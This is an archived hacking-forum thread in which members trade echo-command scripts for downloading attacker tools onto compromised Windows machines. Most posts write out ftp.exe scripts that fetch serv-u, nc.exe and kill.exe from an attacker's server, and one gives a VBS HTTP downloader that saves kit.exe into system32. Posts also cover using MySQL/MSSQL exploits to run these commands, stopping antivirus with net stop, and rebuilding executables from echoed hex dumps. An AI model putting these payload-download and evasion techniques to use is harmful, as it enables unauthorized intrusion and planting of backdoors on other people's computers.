hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Full Version: Echo Commands
x1`
i used to have a file with all the echo commands that u do to send tthe files from a ftp
but deleted by accident
echo open ip port >> file.txt
is that correct
echo user >> file.txt
echo password >> file.txt
whats the rest?
axoaxo
so it looks like that

echo open ip port > c:\ftp.txt
echo user username >> c:\ftp.txt
echo pw >> c:\ftp.txt
echo type binary >> c:\ftp.txt is not a must smile.gif
echo get file.exe >> c:\ftp.txt
echo bye >> c:\ftp.txt
ThEWaTcHeR
echo lcd folderwherethefileshouldupload>>
echo get file1>>
echo get file2>>
echo bye>>
ThEWaTcHeR
lol axoaco smile.gif

same post-time smile.gif
x1`
yes but then i need the command to connect to the ftp
something like
echo ftp.txt s:C or something
anyone know
so it logs in to my ftp
x1`
this is what i ment wink.gif


ECHO open 12.12.12.12 >> ftp.txt open a ftp connection to your IP (replace 12.12.12.12 with your IP)
ECHO username >> ftp.txt ftp username
ECHO password >> ftp.txt ftp password
ECHO get serv-u.exe >> ftp.txt download files.....
ECHO get servudaemon.ini >> ftp.txt download files.....
ECHO get nc.exe >> ftp.txt download files.....
ECHO get tlist.exe >> ftp.txt download files.....
ECHO get kill.exe >> ftp.txt download files.....
ECHO get avk.exe >> ftp.txt download files.....
ECHO bye >> ftp.txt disconnect ftp connection

ftp.exe -s:c:\ftp.txt
arn0ld
i'm using :


echo open ip port >> *.txt
echo user >> *.txt
echo pass >> *.txt
echo BINARY >> *.txt
echo get bla.bla >> *.txt
echo get bla.bla >> *.txt
echo quit >> *.txt
ftp.exe -s:*.txt
axoaxo
the way of Dickybob20 is better and this way works mostly.
But there are sóme mistakes. I have correct5 them.


ECHO open 12.12.12.12 port >> ftp.txt open a ftp connection to your IP (replace 12.12.12.12 with your IP)
ECHO user username >> ftp.txt ftp username
ECHO password >> ftp.txt ftp password
ECHO get serv-u.exe >> ftp.txt download files.....
ECHO get servudaemon.ini >> ftp.txt download files.....
ECHO get nc.exe >> ftp.txt download files.....
ECHO get tlist.exe >> ftp.txt download files.....
ECHO get kill.exe >> ftp.txt download files.....
ECHO get avk.exe >> ftp.txt download files.....
ECHO bye >> ftp.txt disconnect ftp connection

ftp -i -n -v -s:c:\ftp.txt
[eXPhase
I always use to start the script

ftp -i -n -v -s:file.script
arn0ld
the way i wrote works for me in 100% cases
unless ftp.exe doesn't exist
(sorry for my lame eng)
NeBoKaDnEzZaR
Thanks a lot very usefull informations.
fulsik
here

echo open 123.123.123.123 port >k.txt
echo user k>>k.txt
echo k>>k.txt
echo mget *.* >>k.txt
echo quit>>k.txt
ftp -i -n -v -s:k.txt


1st line, connects to the ip with specified port
2nd line, enters username
3rd line, enters password
4th line, mass gets every file in the dir user 'k' is sent to
5th line, obvoiusly quits
6th line, executes ftp.exe connect/read ur k.txt connect and download

it's good to make the user that ur typing to be directed to a specific dir where only ur servu files are, e.g servu.exe servudaemon.ini
and it'll download then start them.
Wimpie
QUOTE(fulsik @ Oct 10 2004, 06:05 AM)
here

echo open 123.123.123.123 port >k.txt
echo user k>>k.txt
echo k>>k.txt
echo mget *.* >>k.txt
echo quit>>k.txt
ftp -i -n -v -s:k.txt


1st line, connects to the ip with specified port
2nd line, enters username
3rd line, enters password
4th line, mass gets every file in the dir user 'k' is sent to
5th line, obvoiusly quits
6th line, executes ftp.exe connect/read ur k.txt connect and download

it's good to make the user that ur typing to be directed to a specific dir where only ur servu files are, e.g servu.exe servudaemon.ini
and it'll download then start them.
*


using & will reduce your copy paste work
echo open 123.123.123.123 port >k.txt & echo user k>>k.txt & etc.............
so you can put everything on 1 line
tibbar
note that only port 21 works properly on ftp.exe
jubbly
QUOTE(tibbar @ Dec 4 2004, 11:36 PM)
note that only port 21 works properly on ftp.exe
*



Thats not entirely true as I have used it many times with obscure port numbers.

Although this post is attracting lame people putting serv-u on peeps comps which I believe to be against forum rules posting about such crap.
droppunx
QUOTE(jubbly @ Dec 11 2004, 12:21 AM)
QUOTE(tibbar @ Dec 4 2004, 11:36 PM)
note that only port 21 works properly on ftp.exe
*



Thats not entirely true as I have used it many times with obscure port numbers.

Although this post is attracting lame people putting serv-u on peeps comps which I believe to be against forum rules posting about such crap.
*



The TCP port used by the remote computer executing ftp.exe IS AND ONLY CAN BE port 21. Sure ftp.exe may be able to connect to obscure ports, which I'm assuming is what you're referring to, but the port used for that outgoing connection has to be port 21.

Also to reply to your snide comment I've used ftp.exe hundreds of times on old slow piece of shit computers running Win98 or Win95 that I don't want to bog down with GUI FTP software. ftp.exe commands are very helpful to know, not just for serv-u-installing hackers. If you're going to attack people who discuss potential methods of file uploading remotely, make sure you include all the posts on here about vbs scripts, .bat files, etc etc etc dry.gif
ScuD
all these echo commands are for ftp.exe...

do not forget there are other ways to, to transfer files through cmd.exe

rcp.exe, tftp.exea and http...

i'm using http always, it's a lot faster and always works fine, never had any probs with it

grtz
ldm
QUOTE(ScuD @ Feb 9 2005, 12:35 PM)
i'm using http always, it's a lot faster and always works fine, never had any probs with it

grtz
*



can you explain how this way works ??

very thanks
ScuD
QUOTE(ldm @ Feb 10 2005, 12:40 PM)
QUOTE(ScuD @ Feb 9 2005, 12:35 PM)
i'm using http always, it's a lot faster and always works fine, never had any probs with it

grtz
*



can you explain how this way works ??

very thanks
*



i didn't write this myself, i just googled a bit and found this .vbs script.

CODE


echo Dim DataBin >>c:\http.vbs
echo Dim HTTPGET >>c:\http.vbs
echo Set HTTPGET = CreateObject("Microsoft.XMLHTTP") >>c:\http.vbs
echo HTTPGET.Open "GET", "http://yourwebsite.be/kit.exe", False >>c:\http.vbs
echo HTTPGET.Send >>c:\http.vbs
echo DataBin = HTTPGET.ResponseBody >>c:\http.vbs
echo Const adTypeBinary=1 >>c:\http.vbs
echo Const adSaveCreateOverWrite=2 >>c:\http.vbs
echo Dim SendBinary >>c:\http.vbs
echo Set SendBinary = CreateObject("ADODB.Stream") >>c:\http.vbs
echo SendBinary.Type = adTypeBinary >>c:\http.vbs
echo SendBinary.Open >>c:\http.vbs
echo SendBinary.Write DataBin >>c:\http.vbs
echo SendBinary.SaveToFile "c:\windows\system32\kit.exe", adSaveCreateOverWrite >>c:\http.vbs



i must say that i forgot where i've found this script...

Grtz & peace

ScuD
nick0
iv tried .vbs scripts b4...
they get detected by AV's...
useless.
ScuD
QUOTE(nick0 @ Feb 11 2005, 05:58 AM)
iv tried .vbs scripts b4...
they get detected by AV's...
useless.
*



lol that's bullsh*t...

always works over here... with or without AV...

i think the only AV that could give some trouble is F-secure...

grtz
tweety
Hi i`Ve question:
Isn`t is posiible to use echo commands fpr MySQL???
tftp command works but i hate it biggrin.gif
I wanna use ftp

PLEASY help

THX
ScuD
@tweety:

jip off course it's possible... just copy / paste the echo-commands in your cmd.exe


grtz
tweety
QUOTE(ScuD @ Feb 14 2005, 11:51 AM)
@tweety:

jip off course it's possible... just copy / paste the echo-commands in your cmd.exe


grtz
*




i copy an paste is but nothing happens. there`s no .txt in c:\\
I use MysqlExec.
i patest like

echo ip>>ftp.txt
an i used things like echo ip>>c:\\ftp
and /cmd.exe echo ip_ftp.exe
but nothing works please help

THX
ScuD
QUOTE(tweety @ Feb 14 2005, 12:07 PM)
QUOTE(ScuD @ Feb 14 2005, 11:51 AM)
@tweety:

jip off course it's possible... just copy / paste the echo-commands in your cmd.exe


grtz
*




i copy an paste is but nothing happens. there`s no .txt in c:\\
I use MysqlExec.
i patest like

echo ip>>ftp.txt
an i used things like echo ip>>c:\\ftp
and /cmd.exe echo ip_ftp.exe
but nothing works please help

THX
*




echo open <IP> 21 >> c:\a
echo user anonymous anonymous >> c:\a
echo get <FILES> >> c:\a
echo QUIT >> c:\a
ftp -i -n -v -s:c:\a

use these commands and it will work perfect wink.gif

i'm sure smile.gif
tweety
QUOTE(ScuD @ Feb 14 2005, 12:32 PM)
QUOTE(tweety @ Feb 14 2005, 12:07 PM)
QUOTE(ScuD @ Feb 14 2005, 11:51 AM)
@tweety:

jip off course it's possible... just copy / paste the echo-commands in your cmd.exe


grtz
*




i copy an paste is but nothing happens. there`s no .txt in c:\\
I use MysqlExec.
i patest like

echo ip>>ftp.txt
an i used things like echo ip>>c:\\ftp
and /cmd.exe echo ip_ftp.exe
but nothing works please help

THX
*




echo open <IP> 21 >> c:\a
echo user anonymous anonymous >> c:\a
echo get <FILES> >> c:\a
echo QUIT >> c:\a
ftp -i -n -v -s:c:\a

use these commands and it will work perfect wink.gif

i'm sure smile.gif
*




unsure.gif unsure.gif unsure.gif unsure.gif unsure.gif
sry but it doesn`T work there no txt file on c:

fuckin ;MySql wink.gif blink.gif huh.gif sad.gif
ScuD
are you sure echo command is working, cos when it isn't working the above echo commands for ftp won't work

howto check?

type in cmd:

Microsoft Windows XP [versie 5.1.2600]
© Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>echo 123
123

C:\WINDOWS\system32>

this should be the result, if not then echo is disabled.

grtz
tweety
SRY DO U know what im mean with MySQL NOT MSSQL!
I think echo don`t work in MYSQL ind MSSQL it does verry well:D

SO I`ve to use TFTPD fuckin MYSQL:D
ScuD
QUOTE
SRY DO U know what im mean with MySQL NOT MSSQL!
I think echo don`t work in MYSQL ind MSSQL it does verry well:D


lol yes i can read since mYsql difference from mSsql tongue.gif The mysql i know is with the myudf exploit... and since myudf opens up a nc.exe on port 21000 and you got to connect through telnet to it... you should be able to use echo commands...

if ftp aint working try rcp then...

grtz

edit: i'm talking bout the mysql on port 3306

if you are talking bout something else :s i can't help ya :-/
tweety
QUOTE(ScuD @ Feb 14 2005, 04:21 PM)
QUOTE
SRY DO U know what im mean with MySQL NOT MSSQL!
I think echo don`t work in MYSQL ind MSSQL it does verry well:D


lol yes i can read since mYsql difference from mSsql tongue.gif The mysql i know is with the myudf exploit... and since myudf opens up a nc.exe on port 21000 and you got to connect through telnet to it... you should be able to use echo commands...

if ftp aint working try rcp then...

grtz

edit: i'm talking bout the mysql on port 3306

if you are talking bout something else :s i can't help ya :-/
*


biggrin.gif biggrin.gif biggrin.gif

nice:D i mean it 2!

do you kno the tool mysqlexec? i?ve connected with tha without any other tool. Do i nedd an extra tool ore s.th. like that, to be able tu use echo commands??
grrrr it suxx lol

echo open 111.111.1.1>>c:\\ftp.txt is the command i use and it doemst work! mad.gif

2nd question i have: i tried to del a file
i wrote del c:\\ an the i pusht enter , grrr
and the server asks me this:
c:*, Are you sure (Y/N)?
what ever i do the server asks me this i cann`T change directory ore something like that, whats to do here???

pls help me excl.gif excl.gif excl.gif
ScuD
QUOTE
biggrin.gif  biggrin.gif  biggrin.gif 

nice:D i mean  it 2!

do you kno the tool mysqlexec? i?ve connected with tha without any other tool. Do i nedd an extra tool ore s.th. like that, to be able tu use echo commands??
grrrr it suxx lol

echo open 111.111.1.1>>c:\\ftp.txt is the command i use  and it doemst work! mad.gif  mad.gif  mad.gif  mad.gif  mad.gif  mad.gif  mad.gif  mad.gif
*



yeah that mysqlexec is that GUI tool, pretty stupid if you ask me smile.gif never use it only cmd prompt...
try the cmd prompt instead of that GUI and tell me if you still got a problem

grtz
IcedOut3E
QUOTE(ScuD @ Feb 11 2005, 02:13 PM)
QUOTE(nick0 @ Feb 11 2005, 05:58 AM)
iv tried .vbs scripts b4...
they get detected by AV's...
useless.
*



lol that's bullsh*t...

always works over here... with or without AV...

i think the only AV that could give some trouble is F-secure...

grtz
*




Detected by VirusScan Enterprise 7.1.0 used by my school. And McAfee Sucks...so if that tells you anything, its probably going to get detected by most any AV unless you do something otherwise.
ScuD
still i didn't had a single problem with it...

an AV never removed this script when i used it...

Trackmaster
if the vbs script is detected by av - so what, just disable the av using net stop.
blumaster
This is my method if use ftp pub:

echo user user >file.txt
echo get file.exe >>file.txt
echo quit >>file.txt

and command is:

ftp -A -s:file.txt ip.ftpub
MAR1LYN-MAN50N
CODE
ECHO @ECHO OFF^>1>ftp.bat
ECHO echo e 0100 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00^>^>1>>ftp.bat
ECHO echo e 0110 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00^>^>1>>ftp.bat
...
ECHO...





with this i can write a ftp.exe with echo
i would like to know, if is possible write other toolst hrough echo like , nc.exe, *.exe ...
[eXPhase
QUOTE(MAR1LYN-MAN50N @ Mar 13 2005, 04:27 PM)
CODE
ECHO @ECHO OFF^>1>ftp.bat
ECHO echo e 0100 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00^>^>1>>ftp.bat
ECHO echo e 0110 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00^>^>1>>ftp.bat
...
ECHO...





with this i can write a ftp.exe with echo
i would like to know, if is possible write other toolst hrough echo like , nc.exe, *.exe ...
*



Just make a hexdump to echo it smile.gif
LittleHacker
I'm wonder why all of you used "> File.Ext" Or "> C:\File.Ext".
You may have no rights to write there !

Try This one : "Echo Command > %Temp%\File.ext"

You have allways rights to write in %Temp% Folder
NightY
Well just one questsion when I use rpc to upload files to the mysql server i have to use the normal comand or? So rcp -b IP.user:file.exe file.exe
and not anything in the gui like c:\\rcp -b IP.user:file.exe file.exe ????
FuzZyBeeR
QUOTE(arn0ld @ Mar 31 2004, 01:42 PM)
the way i wrote works for me in 100% cases
unless ftp.exe doesn't exist
(sorry for my lame eng)
*




THere's a thread in this forum where the complete ftp.exe is echo'ed, so you can create your own ftp.exe by echo'in all the lines to your box wink.gif .. dunno the threadnumber atm, but you can try the search
Kyoshichou
my type is:

echo open ip port>>ftp.txt
echo user name>>ftp.txt
echo password>>ftp.txt
echo get filename.exe>>ftp.txt
echo bye>>ftp.txt

ftp -i -n -v -s:ftp.txt


if you do that like this it will work
Jackson
I have one ask use I also the echo method also without problems functioned however I wanted gladly to know like I by echo method my programs thereby start and by echo automatic my batches file delete where my data in it to stand
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.